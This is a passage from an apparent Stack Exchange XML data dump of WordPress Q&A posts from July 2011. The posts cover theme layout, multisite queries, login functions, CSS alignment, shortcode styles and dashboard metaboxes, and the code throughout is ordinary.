blog anyways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really just a beginner and so it might be too difficult and I just should use a theme instead that has everything set up like that already, but then again I want to try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it even more complicated I want something like the following:&#xA;- header&#xA;- slider&#xA;- no sidebar&#xA;- latest posts in category x&#xA;- latest posts in category y&#xA;- on a sidebar-like column MAYBE popular posts displayed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that too difficult for a beginner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, first things first.&#xA;What do I need to do in order to get the latest posts line up horizontally?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much for any help! :)&lt;/p&gt;&#xA;" OwnerUserId="6903" LastActivityDate="2011-07-11T14:24:20.403" Title="Change the layout of the latest posts display" Tags="&lt;posts&gt;" CommentCount="1" />
  <row Id="22641" PostTypeId="2" ParentId="22261" CreationDate="2011-07-11T14:25:45.763" Score="0" ViewCount="" Body="&lt;p&gt;You probably need to switch your context to the subsite in which the posts need to be created. Have a look at the switch_to_blog() and restore_current() functions in wp-includes/ms-blogs.php See &lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/wp-includes/ms-blogs.php.source.html#l437&quot; rel=&quot;nofollow&quot;&gt;http://phpxref.ftwr.co.uk/wordpress/wp-includes/ms-blogs.php.source.html#l437&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-11T14:25:45.763" />
  <row Id="22642" PostTypeId="2" ParentId="22195" CreationDate="2011-07-11T14:31:28.530" Score="0" ViewCount="" Body="&lt;p&gt;AFAIK there is no solution which works out of the box. It can be built using the WordPress blogs database table to get all active blogs. Using this you may get all pages per site and display them in a dropdown. This probably only works on sites with not too much subsites and pages.   &lt;/p&gt;&#xA;" OwnerUserId="637" LastActivityDate="2011-07-11T14:31:28.530" />
  <row Id="22643" PostTypeId="1" CreationDate="2011-07-11T14:57:54.083" Score="1" ViewCount="73" Body="&lt;p&gt;With WP 3.2 has WordPress maybe a new function for add Link-Quicktags to the editor. But i found an function to set defaults for the link-button: wplink.js (Line 278 &lt;a href=&quot;http://wpseek.com/source/wp/latest/nav.html?wp-includes/js/tinymce/plugins/wplink/js/wplink.dev.js.source.html&quot; rel=&quot;nofollow&quot;&gt;http://wpseek.com/source/wp/latest/nav.html?wp-includes/js/tinymce/plugins/wplink/js/wplink.dev.js.source.html&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    setDefaultValues : function() {&#xA;        // Set URL and description to defaults.&#xA;        // Leave the new tab setting as-is.&#xA;        inputs.url.val('http://');&#xA;        inputs.title.val('');&#xA;&#xA;        // Update save prompt.&#xA;        inputs.submit.val( wpLinkL10n.save );&#xA;    },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How it is possible to set the values for a custom values? Is this possible and can you help me?&#xA;Thanks for an answer from javascript-experts.&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2011-07-15T13:04:46.190" LastActivityDate="2011-07-15T13:04:46.190" Title="How set defaults on wpLink()" Tags="&lt;wp-admin&gt;&lt;tinymce&gt;&lt;editor&gt;&lt;quicktag&gt;" FavoriteCount="1" />
  <row Id="22644" PostTypeId="1" CreationDate="2011-07-11T15:04:49.290" Score="0" ViewCount="67" Body="&lt;p&gt;Very odd problem with wp_signon &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below I pass a users credentials to wp_check_password and it returns true proving the password is correct.... however when i try to signin it return wp_error with&lt;br&gt;&#xA;&quot;ERROR: The password you entered for the username XXXXXXX is incorrect.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, can anybody explain why this is? and how to fix?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$password = &quot;vdouW#DswYMH&quot;&#xA;$hashed = wp_hash_password($password);   //$P$Bydu8uFLe8CFXmtGjA71Tfv8Tyo7nH0&#xA;&#xA;if (wp_check_password($password,$hashed,$user-&amp;gt;data-&amp;gt;ID)) {&#xA;    echo &quot;Yes, password correct&quot;.&#xA;    $creds['user_login'] = $user-&amp;gt;data-&amp;gt;user_login;&#xA;    $creds['user_password'] = $password;&#xA;    $creds['remember'] = false;&#xA;    $user2 = wp_signon( $creds, true );&#xA;&#xA;    if ( is_wp_error($user2) )&#xA;        echo $user2-&amp;gt;get_error_message().' - '.$hashed;&#xA;    else&#xA;        echo 'Success&amp;lt;br/&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6933" LastEditorUserId="2226" LastEditorDisplayName="" LastEditDate="2011-07-11T15:48:20.203" LastActivityDate="2011-07-11T15:48:20.203" Title="Bizarre wp_signon problem" Tags="&lt;login&gt;" CommentCount="2" />
  <row Id="22646" PostTypeId="1" CreationDate="2011-07-11T15:09:16.423" Score="0" ViewCount="16" Body="&lt;p&gt;Does anyone know how to make buddypress update the blog activity with bp_activity_post_update... Currently, featured images are not displaying on the activity stream until i go into the backend of wordpress and &quot;update&quot; the post.&lt;/p&gt;&#xA;" OwnerUserId="6895" LastActivityDate="2011-07-11T15:09:16.423" Title="Gravity Form New Blog Post not display featured image in Buddypress Activity" Tags="&lt;buddypress&gt;" />
  <row Id="22647" PostTypeId="2" ParentId="22555" CreationDate="2011-07-11T15:15:22.797" Score="0" ViewCount="" Body="&lt;p&gt;I'm actually trying to do this too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code calls up the link, but not like you're asking (with the actual text for the link included).  If you figure this out please post it and let us know, I could really use it!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_content_link( $content = false, $echo = false )&#xA;{&#xA;    // allows using this function also for excerpts&#xA;    if ( $content === false )&#xA;        $content = get_the_content(); // You could also use $GLOBALS['post']-&amp;gt;post_content;&#xA;&#xA;    $content = preg_match_all( '/href\s*=\s*[\&quot;\']([^\&quot;\']+)/', $content, $links );&#xA;    $content = $links[1][0];&#xA;    $content = make_clickable( $content );&#xA;&#xA;    // if you set the 2nd arg to true, you'll echo the output, else just return for later usage&#xA;    if ( $echo === true )&#xA;        echo $content;&#xA;&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-07-11T15:15:22.797" CommentCount="1" />
  <row Id="22648" PostTypeId="1" CreationDate="2011-07-11T15:25:00.013" Score="0" ViewCount="36" Body="&lt;p&gt;I 've been scouting around for answers on creating static pages (that means NO BLOG POSTS of any kind) on pages where you don't want ANYTHING that looks blog related, (posts, leave a comment, date created, etc.) Think of pages like Contact Us, About Us, Bio, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest thing I could find is changing your homepage to static in the Reading Settings (and even that didn't do the trick!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this matters, but I'm using Son of Blue theme. I don't understand much about coding, so if there is a line of code that needs to be changed/updated, please be very specific..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6268" LastActivityDate="2011-08-10T17:22:01.910" Title="creating static pages" Tags="&lt;pages&gt;&lt;static&gt;" AnswerCount="2" />
  <row Id="22649" PostTypeId="1" AcceptedAnswerId="22660" CreationDate="2011-07-11T15:47:49.533" Score="0" ViewCount="22" Body="&lt;p&gt;I'm currently creating a theme and I would like to associate an image to one of my taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm already able to add some fields and I now want to add a file input which'll be handle by Wordpress upload function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, 2 questions :&#xA;- Is it possible to add an enctype to the taxonomy form ?&#xA;- Is it possible to use the Wordpress upload function at this point ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cyril&lt;/p&gt;&#xA;" OwnerUserId="6476" LastActivityDate="2011-07-11T19:03:12.577" Title="Taxonomies image" Tags="&lt;custom-taxonomy&gt;&lt;wp-admin&gt;&lt;admin&gt;&lt;uploads&gt;&lt;image&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="22650" PostTypeId="1" CreationDate="2011-07-11T15:48:23.550" Score="0" ViewCount="8" Body="&lt;p&gt;I'm using 'Insert and Link' feature on several Templates (Header/Footer) to be specific but when the image is replaced with a new image, I was thinking that it should change on all Templates which has the old image.  Please see below for an example.&#xA;1. I add the Header/Footer using 'Insert and Link' feature from the Insert Picture option using the path where the picture is stored.&#xA;2. In several months, the Header/Footer is now changing language and I'm provided with the new Image.&#xA;3. So I Archived the old image (in the folder) and replaced it with the New Image with the exact same name.&#xA;4. Now if I pull up my desired Template, and select 'Insert and Link', it does bring in the New Image.&#xA;5. Do I have to do this manually for all Templates or is there a way the New Image will replace on all Templates (Header/Footer) automatically because in the folder it's changed to the New Image (old one is Archived)?&lt;br&gt;&#xA;Please let me know if I need to provide more info.  Thank you for your help and time.  I really appreciate it.&lt;/p&gt;&#xA;" OwnerUserId="6936" LastActivityDate="2011-07-11T15:48:23.550" Title="Why doesn't the 'Insert and Link' feature save the image when it's replaced by a New Picture" Tags="&lt;pictures&gt;" />
  <row Id="22651" PostTypeId="2" ParentId="22648" CreationDate="2011-07-11T15:53:49.730" Score="0" ViewCount="" Body="&lt;p&gt;You don't want it to look &quot;bloggy&quot;?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest just commenting out the comments tag in single.php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your single.php file, find where it says: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And change it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // comments_template( '', true ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That could be a start and anytime you want your comments back just delete those two forward slashes.&lt;/p&gt;&#xA;" OwnerUserId="6937" LastActivityDate="2011-07-11T15:53:49.730" CommentCount="4" />
  <row Id="22652" PostTypeId="2" ParentId="22648" CreationDate="2011-07-11T15:56:55.680" Score="0" ViewCount="" Body="&lt;p&gt;Try searching the &lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;WPORG Theme Repository&lt;/a&gt; for a Theme updated sometime since Fall 2010 or so. The &lt;a href=&quot;http://codex.wordpress.org/Theme_Review&quot; rel=&quot;nofollow&quot;&gt;Theme Review Guidelines&lt;/a&gt; require that Pages not display time-related content (such as Post Date/Time stamp), and that Pages not display &quot;comments are closed&quot; type messages on Pages with comments disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Son of Blue Theme was last updated in May 2010, which means that it may not meet the current Theme Review Guidelines.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-11T15:56:55.680" />
  <row Id="22653" PostTypeId="2" ParentId="17272" CreationDate="2011-07-11T16:10:06.987" Score="0" ViewCount="" Body="&lt;p&gt;I wonder why there seem to be so few people having trouble with this. It's a major bug and thus I created the following ticket just now: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://core.trac.wordpress.org/ticket/18069&quot; rel=&quot;nofollow&quot;&gt;https://core.trac.wordpress.org/ticket/18069&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not an answer, but just FYI.&lt;/p&gt;&#xA;" OwnerUserId="4069" LastActivityDate="2011-07-11T16:10:06.987" />
  <row Id="22654" PostTypeId="1" CreationDate="2011-07-11T16:18:20.087" Score="0" ViewCount="33" Body="&lt;p&gt;My images aren't aligning properly in posts.  The top of the image is not aligning properly with the top of the text.  My paragraphs go too far down.  I don't want to use negative margins since the image should look good inserted anywhere in the post, not just the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;a href=&quot;http://themeforward.com/demo2/2011/01/17/lobortis-tellus-diam/&quot; rel=&quot;nofollow&quot;&gt;http://themeforward.com/demo2/2011/01/17/lobortis-tellus-diam/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my paragraphs I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#single_wrap p {&#xA;color:#444;&#xA;margin:0 0 15px 0;&#xA;line-height:1.7em;&#xA;font-size:13px;&#xA;font-family:Verdana, Geneva, sans-serif&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For my images I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Images */&#xA;#single_wrap img {&#xA;border:none;&#xA;height:auto;&#xA;z-index:5!important&#xA;}&#xA;#single_wrap p img {&#xA;border:none;&#xA;height:auto;&#xA;max-width:100%;&#xA;z-index:5!important&#xA;}&#xA;&#xA;/* Images - Aligning */&#xA;.aligncenter {&#xA;clear:both;&#xA;display:block;&#xA;margin:0 auto&#xA;}&#xA;.alignleft {&#xA;display:inline;&#xA;float:left;&#xA;margin:0&#xA;}&#xA;.alignright {&#xA;display:block;&#xA;float:right;&#xA;margin:0&#xA;}&#xA;&#xA;&#xA;/* Image Captions */&#xA;.alignleft.wp-caption {&#xA;margin:10px 15px 10px 0&#xA;}&#xA;.alignright.wp-caption {&#xA;margin:10px 0 10px 15px&#xA;}&#xA;.aligncenter.wp-caption {&#xA;margin:10px auto!important&#xA;}&#xA;.wp-caption {&#xA;max-width:100%!important&#xA;}&#xA;.wp-caption img {&#xA;border:0;&#xA;margin:0;&#xA;overflow:hidden;&#xA;padding:0;&#xA;width:100%!important&#xA;}&#xA;.wp-caption-text {&#xA;background:#E6E6E6;&#xA;font-family:Verdana, Geneva, sans-serif;&#xA;font-size:10px!important;&#xA;margin:0!important;&#xA;padding:10px;&#xA;line-height:18px!important;&#xA;text-align:center;&#xA;text-shadow:#E6E6E6 1px 1px 1px!important&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS - still looking for help on this one: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/22555/php-code-for-link-with-text&quot;&gt;PHP Code For Link WITH Text&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-07-11T16:18:20.087" Title="Images Not Properly Aligned in Posts (CSS Problem)" Tags="&lt;css&gt;" CommentCount="1" />
  <row Id="22656" PostTypeId="1" CreationDate="2011-07-11T17:21:57.283" Score="0" ViewCount="35" Body="&lt;p&gt;In this post &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6106/remove-parent-category-from-permalink-basically-only-have-the-child-category/&quot;&gt;Remove parent category from permalink? Basically only have the child category?&lt;/a&gt; there is a code that should remove the parent category from the permalinks of the categories . The problem is that it's not working for me . if i add that code, i get an error ,on the starting line of the added code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any reason for that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what i need is to remove the &quot;category&quot; from the permalink of categories (wordpress adds &quot;category&quot; in the permalink of the categories by default)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="6927" LastActivityDate="2011-07-11T17:21:57.283" Title="Remove Parent Cateogry &quot;category&quot; from wordpress permalink" Tags="&lt;tags&gt;" CommentCount="7" />
  <row Id="22657" PostTypeId="2" ParentId="22555" CreationDate="2011-07-11T17:22:18.587" Score="0" ViewCount="" Body="&lt;p&gt;maybe try with php &lt;a href=&quot;http://php.net/manual/en/class.domdocument.php&quot; rel=&quot;nofollow&quot;&gt;DOMDocument&lt;/a&gt; rather than regex. I don't think all DOMDocument methods will work with just an html fragment and not a complete document, but for your needs it may be enough:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$dom= new DOMDocument();&#xA;$html = '&amp;lt;p&amp;gt;Some html with a &amp;lt;a href=&quot;http://foo.com/&quot;&amp;gt;link&amp;lt;/a&amp;gt;. Some more text and &amp;lt;a href=&quot;http://bar.com/&quot;&amp;gt;another&amp;lt;/a&amp;gt; link.&amp;lt;/p&amp;gt;';&#xA;$dom-&amp;gt;loadHTML( $html );&#xA;$dom-&amp;gt;preserveWhiteSpace = false;&#xA;$elements = $dom-&amp;gt;getElementsByTagName( 'a' );&#xA;foreach ( $elements as $element ){&#xA;    echo &quot;link text: &quot; . $element-&amp;gt;nodeValue . &quot;&amp;lt;br&amp;gt;&quot;;&#xA;    echo &quot;href value: &quot; . $element-&amp;gt;getAttribute( 'href' ) . &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot;;&#xA;}&#xA;&#xA;// outputs:&#xA;//&#xA;// link text: link&#xA;// href value: http://foo.com/&#xA;//&#xA;// link text: another&#xA;// href value: http://bar.com/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-07-11T17:28:57.910" LastActivityDate="2011-07-11T17:28:57.910" CommentCount="2" />
  <row Id="22658" PostTypeId="1" AcceptedAnswerId="22659" CreationDate="2011-07-11T18:26:40.327" Score="0" ViewCount="67" Body="&lt;p&gt;What is the simplest way to query posts using blog_id?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a post type called video that holds, not surprisingly, multiple embedded videos. Each post has a different video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to display a specific video in specific locations across different sites. The video posts are on Site 1, and other sites in the network could be Site 2, Site 3, Site 4 and Site 5. All sites are in the same multisite setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each video is currently being identified by matching terms in two custom taxonomies, Taxonomy A and Taxonomy B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all posts were on the same blog I would use this to query the right video:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$video_query = new WP_Query( array(&#xA;    'post_type' =&amp;gt; 'video',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'posts_per_page' =&amp;gt; 1,&#xA;    'no_found_rows' =&amp;gt; true,&#xA;    'tax_query' =&amp;gt; array(&#xA;        'relation' =&amp;gt; 'AND',&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'TaxA',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; $the_termA&#xA;        ),&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'TaxB',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; $the_termB&#xA;        ),&#xA;    )&#xA;) );&#xA;&#xA;if( $video_query-&amp;gt;have_posts() ) :&#xA;    while( $video_query-&amp;gt;have_posts() ) :&#xA;    $video_query-&amp;gt;the_post(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I make the query only look for posts in Site A?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-07-11T18:59:26.573" Title="Simplest way to query with blog_id?" Tags="&lt;multisite&gt;&lt;wp-query&gt;&lt;blog-id&gt;" AnswerCount="1" />
  <row Id="22659" PostTypeId="2" ParentId="22658" CreationDate="2011-07-11T18:59:26.573" Score="2" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;switch_to_blog()&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/WPMU_Functions/switch_to_blog&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/WPMU_Functions/switch_to_blog&lt;/a&gt;, do the query and then restore back using &lt;code&gt;restore_current_blog()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-07-11T18:59:26.573" CommentCount="1" />
  <row Id="22660" PostTypeId="2" ParentId="22649" CreationDate="2011-07-11T19:03:12.577" Score="1" ViewCount="" Body="&lt;p&gt;Michael Fields built the perfect plugin for this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.mfields.org/plugins/taxonomy-images/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.mfields.org/plugins/taxonomy-images/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-07-11T19:03:12.577" CommentCount="1" />
  <row Id="22661" PostTypeId="1" AcceptedAnswerId="22662" CreationDate="2011-07-11T19:18:03.610" Score="0" ViewCount="18" Body="&lt;p&gt;I've followed the official documentation to create my archives page: &lt;a href=&quot;http://codex.wordpress.org/Creating_an_Archive_Index&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Creating_an_Archive_Index&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works fine exept that &quot;is_archive() returns false when I'm viewing this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea ?&lt;/p&gt;&#xA;" OwnerUserId="6938" LastActivityDate="2011-07-11T19:31:31.253" Title="is_archive() returns false on the archives page" Tags="&lt;archive&gt;" AnswerCount="1" />
  <row Id="22662" PostTypeId="2" ParentId="22661" CreationDate="2011-07-11T19:31:31.253" Score="0" ViewCount="" Body="&lt;p&gt;Because an &quot;archives&quot; &lt;em&gt;Page&lt;/em&gt; is not an &lt;em&gt;archive index&lt;/em&gt; of blog &lt;em&gt;Posts&lt;/em&gt;, but rather a &lt;em&gt;Page&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An &quot;archives&quot; page is simply a custom Page template, which applies to a static Page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;is_archive()&lt;/code&gt; conditional returns true if an &lt;em&gt;archive index&lt;/em&gt; is being displayed. An archive index page displays &lt;em&gt;Posts&lt;/em&gt;, not static &lt;em&gt;Pages&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using &lt;code&gt;if ( is_archive() )&lt;/code&gt;, try using &lt;code&gt;if ( is_page( 'archives' ) )&lt;/code&gt; (assuming you've named your static Page &lt;em&gt;Archives&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, you could use &lt;code&gt;if ( is_page_template( 'archives.php' ) )&lt;/code&gt; (assuming you've named your &lt;em&gt;template file&lt;/em&gt; as &lt;code&gt;archives.php&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-11T19:31:31.253" />
  <row Id="22663" PostTypeId="1" CreationDate="2011-07-11T19:34:46.003" Score="0" ViewCount="35" Body="&lt;p&gt;Im using the code as posted on the website below, to create a hard coded login form.&#xA;&lt;a href=&quot;http://www.wprecipes.com/add-a-login-form-on-your-wordpress-theme&quot; rel=&quot;nofollow&quot;&gt;http://www.wprecipes.com/add-a-login-form-on-your-wordpress-theme&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way of incorperating some validation with this or using the default wordpress error messages? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the whole point in hard coding the form is that the user isnt  taken away from the content to the default wp-login.php page throughout the login process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards, Tom Kiddle&lt;/p&gt;&#xA;" OwnerUserId="6939" LastActivityDate="2011-07-11T19:46:25.843" Title="How can i add validation to this login form with out it redirecting to the wp-login.php page" Tags="&lt;login&gt;&lt;form&gt;&lt;validation&gt;" AnswerCount="1" />
  <row Id="22664" PostTypeId="2" ParentId="22663" CreationDate="2011-07-11T19:46:25.843" Score="1" ViewCount="" Body="&lt;p&gt;Why not just use &lt;code&gt;wp_login_form()&lt;/code&gt;? (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_login_form&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-11T19:46:25.843" CommentCount="1" />
  <row Id="22665" PostTypeId="1" AcceptedAnswerId="22666" CreationDate="2011-07-11T19:55:14.010" Score="0" ViewCount="30" Body="&lt;p&gt;i'm creating some custom shortcodes for my wordpress theme. Shortcodes are by nature optional on pages/posts, but may contain css, js or other files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how can i enqueue css styles ONLY IF a particular shortcode has been used ? I would not want to load everything for no reason.&lt;/p&gt;&#xA;" OwnerUserId="6329" LastActivityDate="2011-07-11T19:59:51.510" Title="Wordpress Shortcodes - Optional Styles" Tags="&lt;theme-development&gt;&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="22666" PostTypeId="2" ParentId="22665" CreationDate="2011-07-11T19:59:51.510" Score="1" ViewCount="" Body="&lt;p&gt;The general process for this is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a function, hooked into &lt;code&gt;wp_enqueue_scripts&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Inside your function, cycle through the Loop, looking for your shortcode string&lt;/li&gt;&#xA;&lt;li&gt;If found, call &lt;code&gt;wp_enqueue_style( 'my_custom_style' )&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Rewind the Loop, by calling &lt;code&gt;&amp;lt;?php rewind_posts(); ?&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-11T19:59:51.510" CommentCount="3" />
  <row Id="22668" PostTypeId="2" ParentId="6798" CreationDate="2011-07-11T20:04:34.240" Score="0" ViewCount="" Body="&lt;p&gt;If you're using the TinyMCE Advanced plugin, try unchecking this advanced option:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Stop removing the &amp;lt;p&amp;gt; and &amp;lt;br /&amp;gt; tags when saving and show them in the HTML editor&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Unchecking that and using the &lt;code&gt;remove_filter ('the_content', 'wpautop');&lt;/code&gt; code in my functions.php did the trick for me.&lt;/p&gt;&#xA;" OwnerUserId="6943" LastActivityDate="2011-07-11T20:04:34.240" />
  <row Id="22669" PostTypeId="1" CreationDate="2011-07-11T20:30:36.490" Score="0" ViewCount="28" Body="&lt;p&gt;I'm looking for assistance creating the ability to export an XML feed for JobRoller theme from AppThemes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Job aggregation sites, such as simplyHired.com and indeed.com, require access to an XML file that contains information relating to Job Postings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either a plug-in, or even a PHP script would suffice, with some reference on how to make it rewrite the XML file to a repository on each new job post creation, or via a nightly cron type action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance or referral would certainly be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6940" LastActivityDate="2011-07-11T20:30:36.490" Title="XML feed creation from Job Posts on an AppTheme JobRoller installation" Tags="&lt;plugins&gt;&lt;export&gt;&lt;cron&gt;" />
  <row Id="22670" PostTypeId="2" ParentId="22528" CreationDate="2011-07-11T20:39:37.933" Score="0" ViewCount="" Body="&lt;p&gt;This is now working for me... for those of you having the same issue it turns out all the code was correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was WordPress is setup to show 10 posts per page by default which clashed with my query (limiting it to 2 posts) to fix the issue I changed the WordPress setting (Settings / Reading in the admin dashboard) to 1.&lt;/p&gt;&#xA;" OwnerUserId="6911" LastActivityDate="2011-07-11T20:39:37.933" />
  <row Id="22671" PostTypeId="2" ParentId="21856" CreationDate="2011-07-11T20:43:46.713" Score="0" ViewCount="" Body="&lt;p&gt;Hey I had a similar issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was WordPress is setup to show 10 posts per page by default which clashed with my query (limiting it to 2 posts) to fix the issue I changed the WordPress setting (Settings / Reading in the admin dashboard) to 1.&lt;/p&gt;&#xA;" OwnerUserId="6911" LastActivityDate="2011-07-11T20:43:46.713" CommentCount="1" />
  <row Id="22672" PostTypeId="1" CreationDate="2011-07-11T20:45:53.123" Score="0" ViewCount="66" Body="&lt;p&gt;I have a page with a simple YouTube embed. I would like the client to be able to easily switch the video id from the dashboard without having to edit any templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this: &lt;code&gt;&amp;lt;iframe width=&quot;576&quot; height=&quot;324&quot; src=&quot;http://www.youtube.com/embed/&amp;lt;?=$video_id ?&amp;gt;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm trying to insert a metabox in the home page of the respective custom post type (see below) but am not sure how to go about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/hVEA3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is something like this possible? If not, is there a way to insert a metabox into the 'home' dashboard page of the WordPress dashboard? I'm open to any suggestions as well. Thank you.&#xA;- Update -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I currently have in my functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// YouTube Metabox&#xA;add_action('wp_dashboard_setup', 'custom_dashbox');&#xA;&#xA;function custom_dashbox() {&#xA;  global $wp_meta_boxes;&#xA;  wp_add_dashboard_widget('widget_slug','Featured Video', 